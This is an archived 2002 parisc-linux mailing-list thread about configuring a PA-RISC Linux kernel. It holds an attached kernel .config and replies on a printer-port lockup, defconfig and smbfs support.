--nFreZHaLTZJo0R7j
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, Mar 05, 2002 at 03:02:29PM -0500, James S wrote:

> while i'm at it - does anybody have a list of the options i should choose
> when i'm doing a make config for the kernel so i can get the right network
> stuff installed etc.

Attached is my .config 

> i need to recompile to include smbfs (which i think would be very handy if
> compiled into the kernel as standard)

You'd need to add that.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Gates' Law: Every 18 months, the speed of software halves.


--nFreZHaLTZJo0R7j
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=".config"

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
CONFIG_PA7100LC=y
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=m
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_PC_CML1=m
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
# CONFIG_PARPORT_PC_PCMCIA is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_INET_ECN=y
CONFIG_SYN_COOKIES=y

#
#   IP: Netfilter Configuration
#
CONFIG_IP_NF_CONNTRACK=y
CONFIG_IP_NF_FTP=y
CONFIG_IP_NF_IRC=y
# CONFIG_IP_NF_QUEUE is not set
CONFIG_IP_NF_IPTABLES=y
CONFIG_IP_NF_MATCH_LIMIT=y
CONFIG_IP_NF_MATCH_MAC=y
CONFIG_IP_NF_MATCH_MARK=y
CONFIG_IP_NF_MATCH_MULTIPORT=y
CONFIG_IP_NF_MATCH_TOS=y
CONFIG_IP_NF_MATCH_AH_ESP=m
CONFIG_IP_NF_MATCH_LENGTH=y
CONFIG_IP_NF_MATCH_TTL=y
CONFIG_IP_NF_MATCH_TCPMSS=y
CONFIG_IP_NF_MATCH_STATE=y
CONFIG_IP_NF_MATCH_UNCLEAN=y
CONFIG_IP_NF_MATCH_OWNER=y
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
# CONFIG_IP_NF_TARGET_MIRROR is not set
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=y
CONFIG_IP_NF_TARGET_REDIRECT=y
# CONFIG_IP_NF_NAT_SNMP_BASIC is not set
CONFIG_IP_NF_NAT_IRC=y
CONFIG_IP_NF_NAT_FTP=y
# CONFIG_IP_NF_MANGLE is not set
CONFIG_IP_NF_TARGET_LOG=y
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_IP_NF_TARGET_TCPMSS=y
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=m
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPPOE=m
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set

#
# Input core support is needed for gameports
#

#
# Input core support is needed for joysticks
#
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# PCMCIA character devices
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
# CONFIG_NFS_FS is not set
# CONFIG_NFS_V3 is not set
# CONFIG_ROOT_NFS is not set
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
# CONFIG_SUNRPC is not set
# CONFIG_LOCKD is not set
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=m
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=m
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set

#
# USB Controllers
#
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set

#
# USB Device Class drivers
#
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# USB Human Interface Devices (HID)
#

#
#   Input core support is needed for USB HID
#

#
# USB Imaging devices
#
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set

#
# USB Multimedia devices
#

#
#   Video4Linux support is needed for USB Multimedia device support
#

#
# USB Network adaptors
#
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--nFreZHaLTZJo0R7j--



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printer Port & kernel stuff
Date: Tue, 5 Mar 2002 20:07:11 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20020305200711.E30960@parcelfarce.linux.theplanet.co.uk>
References: <005101c1c480$ae437900$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621122 4072 80.91.229.3 (22 Nov 2014 01:52:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 13:07:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9D1C483D
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 13:07:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16iLDL-0004L2-00; Tue, 05 Mar 2002 20:07:11 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <005101c1c480$ae437900$02c1a8c0@james.co.uk>; from smithjames@comcast.net on Tue, Mar 05, 2002 at 03:02:29PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14225

On Tue, Mar 05, 2002 at 03:02:29PM -0500, James S wrote:
> Has nobody else had the same problem as me with the printer port ?
> 
> My 712/60 locks every time i send anything to the local printer.

Isn't this cured with Thomas Bogendoerfer's recent changes to make
parport_gsc & parport_pc work when compiled into the same kernel?

> while i'm at it - does anybody have a list of the options i should choose
> when i'm doing a make config for the kernel so i can get the right network
> stuff installed etc.

defconfig is pretty all-encompassing.  there's also the debian-configs
in the CVS tree.

> i need to recompile to include smbfs (which i think would be very handy if
> compiled into the kernel as standard)

last i heard it still wouldn't compile.  but maybe it got fixed and i
don't remember.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printer Port & kernel stuff
Date: Tue, 05 Mar 2002 15:12:47 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <006d01c1c482$1e5712a0$02c1a8c0@james.co.uk>
References: <005101c1c480$ae437900$02c1a8c0@james.co.uk>
 <20020305200711.E30960@parcelfarce.linux.theplanet.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621122 4076 80.91.229.3 (22 Nov 2014 01:52:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 13:12:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADC614847
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 13:12:48 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSI002PIO5BHV@mtaout01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Tue, 05 Mar 2002 15:12:47 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
